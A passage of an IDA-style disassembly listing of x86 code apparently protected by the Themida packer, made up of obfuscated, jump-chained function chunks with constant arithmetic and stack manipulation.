		pop	esp
		jmp	loc_595C18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_591F17:				; CODE XREF: sub_58F5B5-3043j
		add	esp, 4
		xchg	ecx, [esp-0Ch+arg_8]
		jmp	loc_58AF1A
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_591F22:				; CODE XREF: Themida_:00596D23j
		add	dword ptr [esp], 4
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_591F2B:				; CODE XREF: Themida_:00597AD0j
		mov	esi, [esp]
		push	esi
		jmp	loc_5970BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_591F34:				; CODE XREF: sub_58C17E+266Dj
		btr	[esp+0], ax
		pushf
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_591F3F:				; CODE XREF: Themida_:0058C5B0j
		pop	ebx
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_591F45:				; CODE XREF: sub_5916C4-48D4j
		mov	ecx, 57BE5F7Bh
		sub	ebx, ecx
		pop	ecx
		jmp	loc_592DDC
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_591F52:				; CODE XREF: Themida_:0058F3E7j
					; Themida_:005936A1j
		mov	esi, 144E51C9h
		add	edx, esi
		pop	esi
		add	edx, 672B404Bh
		jmp	loc_58D3C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_591F65:				; CODE XREF: sub_590467+5847j
		add	esp, 4
		push	ecx
		jmp	loc_595CDB
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_591F71:				; CODE XREF: sub_58B4D6+3AAEj
		pop	ebx
		xchg	edx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mul	cx
		jmp	loc_58AD5E
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_591F80:				; CODE XREF: sub_5EC2E8-5CD9Fj
		push	edx
		push	esp
		pop	edx
		push	9DBh
		mov	[esp+44h+var_44], ecx
		jmp	loc_58DDC1
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_591F90:				; CODE XREF: Themida_:00594106j
		shl	edx, 5
		xor	edx, 0BBE5FBE4h
		add	edi, edx
		pop	edx
		add	edi, 2
		push	0A8Fh
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_5953B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_591FB3:				; CODE XREF: sub_5938B9+164Cj
		inc	ecx
		jge	loc_597AD5
		and	ecx, 2193139h
		ja	loc_592140
		jmp	loc_5906B4
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
		jmp	loc_58B87E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_591FD0:				; CODE XREF: sub_58C17E+5EBEj
		shl	ecx, 6
		js	loc_58AD53
		sub	ecx, 0BB2A04F5h
		jmp	loc_58D05B
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
		push	eax
		mov	ah, al
		push	esp


loc_591FE8:				; CODE XREF: Themida_:0058DA59j
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		jmp	loc_58B531
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594654


loc_591FF5:				; CODE XREF: sub_594654-7047j
		neg	ecx
		push	ebp
		jmp	loc_59710A
; END OF FUNCTION CHUNK	FOR sub_594654
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_591FFD:				; CODE XREF: sub_58C17E+3639j
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		pop	esp
		jmp	loc_58A2CE
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_592009:				; CODE XREF: Themida_:005966A3j
		xor	ecx, ebx
		pop	ebx
		sub	ecx, 0E2CCE789h
		xor	eax, ecx
		jmp	loc_591BB3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_592019:				; CODE XREF: sub_5916C4-5639j
		add	esp, 4
		push	ecx
		jmp	loc_594B5E
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_592022:				; CODE XREF: Themida_:005913C2j
		sub	ebp, 4F66FD4h
		jmp	loc_596252
; ---------------------------------------------------------------------------


loc_59202D:				; CODE XREF: Themida_:00594762j
		pop	edi
		jmp	loc_58E9B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_592033:				; CODE XREF: sub_58C17E-C90j
		add	edi, eax
		push	eax
		jmp	loc_58CEC2
; ---------------------------------------------------------------------------


loc_59203B:				; CODE XREF: sub_58C17E:loc_58B095j
		inc	ecx
		jg	loc_591FD0
		shl	ecx, 6
		js	loc_58E019
		sub	ecx, 0BB2A04F5h
		push	ecx
		add	[esp+8+var_8], 6DD019Bh


loc_592059:				; CODE XREF: Themida_:00593EFBj
		mov	esi, [esp+8+var_8]
		add	esp, 4
		shr	esi, 2
		jmp	loc_58B046
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_592067:				; CODE XREF: Themida_:0058FB1Ej
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_590961
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_592085:				; CODE XREF: sub_590467+5D3Fj
		not	dh
		not	dh
		shr	dh, 6
		jmp	loc_58D852
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_592091:				; CODE XREF: sub_58C17E+3E07j
		add	ecx, 4
		xchg	ecx, [esp+2+var_4+2]
		pop	esp
		pop	ecx
		jmp	loc_594936
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		push	0DB1h
		jmp	loc_58C533
; ---------------------------------------------------------------------------


loc_5920BB:				; CODE XREF: Themida_:0058CFECj
		add	esp, 4
		jmp	loc_5905E8
; ---------------------------------------------------------------------------


loc_5920C3:				; CODE XREF: Themida_:0058BD06j
		xor	ebp, [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59524C


loc_5920D4:				; CODE XREF: sub_59524C+282Fj
		add	eax, 4
		push	esi
		push	ecx
		jmp	loc_58BF07
; END OF FUNCTION CHUNK	FOR sub_59524C
; ---------------------------------------------------------------------------


loc_5920E0:				; CODE XREF: Themida_:0058D8B2j
		add	esp, 4
		bt	[esp], eax
		pushf
		jmp	loc_5934B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5920F0:				; CODE XREF: sub_58C17E+7997j
		add	esi, 4
		jmp	loc_58CCFB
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5953EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_592107:				; CODE XREF: sub_590467-40CFj
		add	ebx, 4
		push	ebx
		push	[esp-4+arg_4]
		jmp	loc_58F2A6
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_592114:				; CODE XREF: Themida_:0058BC62j
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	esp, 4
		xor	[esp], eax
		pushf
		jmp	loc_58F320
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_592127:				; CODE XREF: sub_590467-23F5j
		or	eax, eax
		jnz	sub_592857
		push	ebp
		push	esp
		mov	ebp, [esp+0Ah+var_A]
		jmp	loc_58A8E2
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595123


loc_592139:				; CODE XREF: sub_595123+966j
		and	eax, ecx
		jmp	loc_58D497
; END OF FUNCTION CHUNK	FOR sub_595123
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_592140:				; CODE XREF: sub_5938B9-18F9j
		jmp	loc_592420
; ---------------------------------------------------------------------------


loc_592145:				; CODE XREF: sub_5938B9-32BEj
		add	edi, 4
		jmp	loc_5938BF
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_592150:				; CODE XREF: sub_590467-50F7j
					; sub_5916C4+2141j
		push	ecx
		push	eax
		push	58770C6h
		jmp	loc_5957F7
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_59215C:				; CODE XREF: sub_5EC2E8-58E15j
		pop	ebx
		and	eax, ecx
		mov	ecx, [esp+40h+var_40]
		add	esp, 4
		jmp	loc_58BBFA
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_59216A:				; CODE XREF: sub_58C17E+A63Fj
		mov	ecx, 5C923D83h
		shl	ecx, 6
		not	ecx
		xor	ecx, 3BE83E8Fh
		dec	ecx
		add	ecx, 584484A1h
		or	eax, ecx
		pop	ecx
		add	eax, 0FA189E8Dh
		add	ebp, eax
		pop	eax
		add	eax, ebp
		pop	ebp
		jmp	loc_58A4BD
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_592194:				; CODE XREF: Themida_:0058D6C0j
		add	dword ptr [esp], 4
		jmp	loc_58DFF5
; ---------------------------------------------------------------------------


loc_5921A0:				; CODE XREF: Themida_:00592C7Fj
		pop	esp
		jmp	loc_594910
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5921A6:				; CODE XREF: sub_58C17E+86AFj
		xor	edi, 7B9C1521h
		jmp	loc_59774E
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------


loc_5921B1:				; CODE XREF: Themida_:0058F1ACj
		pop	dword ptr [esp]
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58ED6E

; =============== S U B	R O U T	I N E =======================================



sub_5921D8	proc near		; CODE XREF: sub_5916C4+48j
					; sub_58F5B5+8759j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058B249 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0058B62C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058D52E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00593152 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005936E4 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00593A52 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00593C25 SIZE 00000013 BYTES

		push	ebx
		push	36CCh
		mov	[esp+8+var_8], eax
		push	ebx
		jmp	loc_58D52E
sub_5921D8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_5921E7:				; CODE XREF: sub_59762D-7AA4j
		add	bl, dh
		jmp	loc_591121
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------


loc_5921EE:				; CODE XREF: Themida_:0058B9C4j
					; Themida_:00592225j
		pop	ebx
		push	5A81h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------


loc_59220D:				; CODE XREF: Themida_:0059621Bj
		shr	edx, 2
		jnp	loc_58D630
		shl	edx, 3
		and	edx, 263F73B9h
		jg	loc_592757
		jmp	loc_5921EE
; ---------------------------------------------------------------------------
		mov	ebp, ecx
		pop	ecx
		push	eax
		push	ebp
; START	OF FUNCTION CHUNK FOR sub_59089C


loc_59222F:				; CODE XREF: sub_59089C+8j
		pop	ebx
		sub	esi, 11E680AFh
		push	esi
		push	edi
		mov	edi, 5DB64E91h
		xor	[esp+8+var_4], edi
		pop	edi
		jmp	loc_58A5E4
; END OF FUNCTION CHUNK	FOR sub_59089C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_592247:				; CODE XREF: sub_590467+32E9j
		mov	ebp, [esp+0Ah+var_A]
		add	esp, 4
		xchg	esi, [esp+6+var_6]
		mov	esp, [esp+6+var_6]
		mov	cx, word ptr [esp+6+var_6]
		push	eax
		jmp	loc_58FB47
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------


loc_59225D:				; CODE XREF: Themida_:00593C56j
					; Themida_:005942A1j
		add	edi, 68D06334h
		jmp	loc_58CD7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_592268:				; CODE XREF: sub_590467+415Bj
		shl	esi, 3
		jmp	loc_58EDDF
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B70


loc_592270:				; CODE XREF: sub_590B70-4BBj
		mov	ecx, 0A5A385F0h
		sub	edx, ecx
		pop	ecx
		push	esi
		mov	esi, 13057644h
		neg	esi
		add	esi, 15580F43h
		and	esi, 3C8C0101h
		add	esi, 448A36A7h
		add	esi, 0A773073h
		jmp	loc_595B88
; END OF FUNCTION CHUNK	FOR sub_590B70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_59229D:				; CODE XREF: sub_59762D-7F03j
		mov	al, 69h
		add	al, 0D7h
		push	ebx
		jmp	loc_58C7ED
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F091


loc_5922A7:				; CODE XREF: sub_58F091+14j
		and	edi, 21CE4626h
		jmp	loc_58C5E8
; END OF FUNCTION CHUNK	FOR sub_58F091
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_5922B2:				; CODE XREF: sub_590010-2D1Cj
		pop	edx
		jmp	loc_58F0E7
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_5922B8:				; CODE XREF: Themida_:0058F8EDj
		jmp	loc_592DEE
; ---------------------------------------------------------------------------


loc_5922BD:				; CODE XREF: Themida_:0059500Bj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edx
		jmp	loc_596FA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BDA


loc_5922E0:				; CODE XREF: sub_595BDA-4B26j
		push	edx
		jmp	loc_591400
; END OF FUNCTION CHUNK	FOR sub_595BDA
; ---------------------------------------------------------------------------


loc_5922E6:				; CODE XREF: Themida_:0059540Cj
		add	esp, 4
		jmp	loc_597793
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_5922F1:				; CODE XREF: sub_58F5B5+1110j
		add	edx, ecx
		sub	edx, 43F67A21h
		pop	ecx
		jmp	loc_58C252
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_5922FF:				; CODE XREF: sub_58C17E+7DA8j
		sub	edi, 6E3D65DFh
		mov	esi, [esp-12h+arg_C+2]
		push	ecx
		jmp	loc_594E3C
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_59230E:				; CODE XREF: Themida_:0058BBDAj
					; sub_5EC2E8-5BE39j
		pop	eax
		inc	edx
		and	edx, 5C99655Ah
		or	edx, 63844BA5h
		jmp	loc_59245E
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------


loc_592321:				; CODE XREF: Themida_:00594C6Fj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_59511D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_59232E:				; CODE XREF: sub_5916C4-330Dj
		neg	ebp
		jg	loc_5931C5
		jmp	loc_5919DA
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_59233B:				; CODE XREF: sub_58F5B5+2EB7j
		pop	ecx
		add	ebx, 0A285F659h
		add	edi, ebx
		jmp	loc_595CEB
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_592349:				; CODE XREF: sub_58B4D6+547Aj
		pop	ebp
		push	ebx
		mov	ebx, 712739FFh
		not	ebx
		add	ebx, 2A7F1478h
		xor	ebx, 6B3733A7h
		xor	ebx, 56E93B97h
		jmp	loc_597DA6
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------


loc_592369:				; CODE XREF: Themida_:005948E6j
		jz	loc_593783
		push	si
		mov	si, 3EEEh
		or	bp, si
		mov	si, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		jmp	loc_591029
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590B70


loc_59238D:				; CODE XREF: sub_590B70-3227j
		xor	eax, 0AB938BD1h
		add	ebx, eax
		jmp	loc_59407D
; END OF FUNCTION CHUNK	FOR sub_590B70
; ---------------------------------------------------------------------------


loc_592399:				; CODE XREF: Themida_:00595689j
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_58C9BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_5923A5:				; CODE XREF: sub_595E21-40F6j
		not	ebp
		jmp	loc_59307D
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_5923AC:				; CODE XREF: sub_592D25+2AF7j
		push	148663BDh
		pop	ebx
		shr	ebx, 8
		js	loc_58E80A
		inc	ebx
		jmp	loc_592553
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_5923C1:				; CODE XREF: sub_5938B9-3B85j
		mov	[esp+0], ebx
		mov	bh, dl
		jmp	sub_594FD6
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596CA1


loc_5923CB:				; CODE XREF: sub_58C17E+38A4j
					; sub_596CA1-136Bj
		add	ebx, 4
		jmp	loc_58EB3C
; END OF FUNCTION CHUNK	FOR sub_596CA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_5923D6:				; CODE XREF: sub_59762D-2099j
		jmp	loc_5903AB
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_5923DB:				; CODE XREF: sub_58F5B5+5503j
					; Themida_:005959DFj
		shr	ecx, 4
		neg	ecx
		jmp	loc_58F180
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_5923E5:				; CODE XREF: Themida_:00596207j
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_58F167
; ---------------------------------------------------------------------------


loc_5923FF:				; CODE XREF: Themida_:0058F672j
		add	ebx, 5B063CD3h
		pop	dword ptr [eax]
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_59240C:				; CODE XREF: sub_590010-3D36j
		sub	eax, 79E7A6F2h
		jmp	loc_594B8D
; END OF FUNCTION CHUNK	FOR sub_590010
; ---------------------------------------------------------------------------


loc_592416:				; CODE XREF: Themida_:0058A4E5j
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_58A811
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5938B9


loc_592420:				; CODE XREF: sub_5938B9:loc_592140j
		neg	ecx
		jmp	loc_5933C2
; END OF FUNCTION CHUNK	FOR sub_5938B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592857


loc_592427:				; CODE XREF: sub_592857+491Aj
		add	esp, 4
		jmp	sub_595123
; END OF FUNCTION CHUNK	FOR sub_592857
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B4D6


loc_59242F:				; CODE XREF: sub_58B4D6+97FFj
		push	[esp+0Ch+var_C]
		pop	ebp
		jmp	loc_59658E
; END OF FUNCTION CHUNK	FOR sub_58B4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_592438:				; CODE XREF: sub_592D25-3898j
		push	edx
		mov	edx, 655A4E46h
		add	edi, edx
		pop	edx
		jmp	loc_58F755
; ---------------------------------------------------------------------------


loc_592446:				; CODE XREF: sub_592D25-6BCAj
		push	ecx
		push	48B010A4h
		pop	ecx
		push	edi
		mov	edi, 0
		sub	edi, ecx
		mov	ecx, edi
		pop	edi
		push	edx
		jmp	loc_5959BE
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5EC2E8


loc_59245E:				; CODE XREF: sub_5EC2E8-59FCCj
		sub	edx, 3E9DDC3Ch
		jmp	loc_596BF4
; END OF FUNCTION CHUNK	FOR sub_5EC2E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F5B5


loc_592469:				; CODE XREF: sub_58F5B5+166j
		pop	ebp
		xor	ebx, ecx
		jmp	loc_59233B
; END OF FUNCTION CHUNK	FOR sub_58F5B5
; ---------------------------------------------------------------------------


loc_592471:				; CODE XREF: Themida_:0059096Fj
		xchg	edx, [esp]
		pop	esp
		add	esi, 4
		push	ebp
		mov	ebp, 2CD31473h
		xor	ebp, 42B592Dh
		jmp	loc_592BA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591059


loc_59248C:				; CODE XREF: sub_591059-50F7j
		sub	esi, 5ACA016Ah
		inc	esi
		jmp	loc_58C208
; END OF FUNCTION CHUNK	FOR sub_591059
; ---------------------------------------------------------------------------


loc_592498:				; CODE XREF: Themida_:00596A88j
		add	esi, 4
		add	esi, 2
		jmp	loc_5910C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BA12


loc_5924A9:				; CODE XREF: sub_58BA12+5C8Bj
		add	esi, 0D194B405h
		or	ebp, esi
		pop	esi
		push	edx
		mov	edx, 1FCB5FC4h
		and	ebp, edx
		pop	edx
		shr	ebp, 4
		xchg	edi, ebp
		jmp	loc_594880
; END OF FUNCTION CHUNK	FOR sub_58BA12
; ---------------------------------------------------------------------------


loc_5924C5:				; CODE XREF: Themida_:00596028j
		shl	ebx, 1
		neg	ebx
		push	edi
		mov	edi, 5A5CC5BEh
		add	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, ebx
		mov	edx, ebp
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		add	edx, 0CFB4AA84h
		sub	ebp, 73D35964h
		add	ebp, 7C8E55B7h
		add	ebp, edx
		sub	ebp, 7C8E55B7h
		add	ebp, 73D35964h
		jmp	loc_58C4ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_592503:				; CODE XREF: sub_5916C4-14C6j
		xor	ebp, 81576044h
		and	ecx, ebp
		mov	ebp, [esp-4+arg_0]
		jmp	loc_58FD7A
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595E21


loc_592513:				; CODE XREF: sub_595E21-57D5j
		xor	eax, ecx
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		sub	esp, 4
		mov	[esp+0], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		jmp	loc_591D25
; END OF FUNCTION CHUNK	FOR sub_595E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5942E3


loc_592540:				; CODE XREF: sub_5942E3-99Bj
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		add	eax, 4
		jmp	loc_590D69
; END OF FUNCTION CHUNK	FOR sub_5942E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592D25


loc_592553:				; CODE XREF: sub_592D25-969j
		jle	loc_591130
		push	ebp
		mov	ebp, 148664h
		sub	ebx, ebp
		pop	ebp
		mov	ebp, ebx
		pop	ebx
		add	ebp, 0F8F058Eh
		sub	ebp, edi
		jmp	loc_59042B
; END OF FUNCTION CHUNK	FOR sub_592D25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590467


loc_592572:				; CODE XREF: sub_590467-1908j
					; sub_598028-67B6j
		pop	edx
		push	edi
		push	eax
		mov	eax, 647E154Ch
		mov	edi, eax
		pop	eax
		not	edi
		sub	edi, 3335468Dh
		jmp	loc_59508A
; END OF FUNCTION CHUNK	FOR sub_590467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59762D


loc_59258A:				; CODE XREF: sub_59762D-AB01j
		add	ebx, edx
		jmp	loc_58F12F
; END OF FUNCTION CHUNK	FOR sub_59762D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F277


loc_592591:				; CODE XREF: sub_58F277+1j
		push	dword ptr [esp+4]
		pop	ebx
		pop	[esp+4+var_4]
		pop	esp
; END OF FUNCTION CHUNK	FOR sub_58F277
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_59259A:				; CODE XREF: sub_58C17E+88Bj
					; sub_58C17E+A590j
		push	[esp+2+var_4+2]
		pop	ebx
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], edi
		mov	edi, 23DB00BFh
		sub	edi, 49EB3854h
		push	eax
		mov	eax, 26103799h
		add	edi, eax
		pop	eax
		jmp	loc_58ED18
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5916C4


loc_5925C3:				; CODE XREF: sub_5916C4-6D5j
		sub	edi, 122B1960h
		xor	edi, edx
		xor	edx, edi
		jmp	loc_5912D7
; END OF FUNCTION CHUNK	FOR sub_5916C4
; ---------------------------------------------------------------------------


loc_5925D2:				; CODE XREF: Themida_:0058F067j
		mov	bh, dl
		pop	dx
		jmp	loc_594B3D
; ---------------------------------------------------------------------------


loc_5925DB:				; CODE XREF: Themida_:00591861j
		neg	ebx
		xor	ebx, 2B2B3DD3h
		xor	ebx, 0C7D4C678h
		add	edi, 51BE2264h
		jmp	loc_58ED8B
; ---------------------------------------------------------------------------


loc_5925F4:				; CODE XREF: Themida_:005956A1j
		pop	cx
		dec	bl
		neg	bl
		jmp	loc_592942
; ---------------------------------------------------------------------------


loc_5925FF:				; CODE XREF: Themida_:005943EEj
		add	esp, 4
		jmp	loc_594832
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595655


loc_592607:				; CODE XREF: sub_595655-812Cj
		mov	ebp, 41C1056Bh
		add	ebp, 0ED2B07FCh
		sub	ebx, ebp
		pop	ebp
		shr	ebx, 7
		add	ebx, 0D0A0E80h
		add	ebx, 0F2B08118h
		jmp	loc_58C4F8
; END OF FUNCTION CHUNK	FOR sub_595655
; ---------------------------------------------------------------------------


loc_592629:				; CODE XREF: Themida_:0058CF52j
		mov	[esp], edx
		push	ebx
		mov	ebx, 519A2708h
		not	ebx
		sub	ebx, 0AE65D8F5h
		jmp	loc_58D984
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C17E


loc_59263F:				; CODE XREF: sub_58C17E+2C46j
		xor	esi, eax
		pop	eax
		sub	edx, esi
		pop	esi
		add	edx, eax
		add	edx, 368B01B5h
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, ecx
		push	ebx
		sub	esp, 4
		jmp	loc_591170
; END OF FUNCTION CHUNK	FOR sub_58C17E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590010


loc_592661:				; CODE XREF: sub_590010-2AEFj
		pop	ebp
		not	eax
		shr	eax, 3
		push	ebx
		mov	ebx, 366134DEh
		shr	ebx, 1
		xor	ebx, 3A3E6FC1h
		sub	ebx, 3D300764h
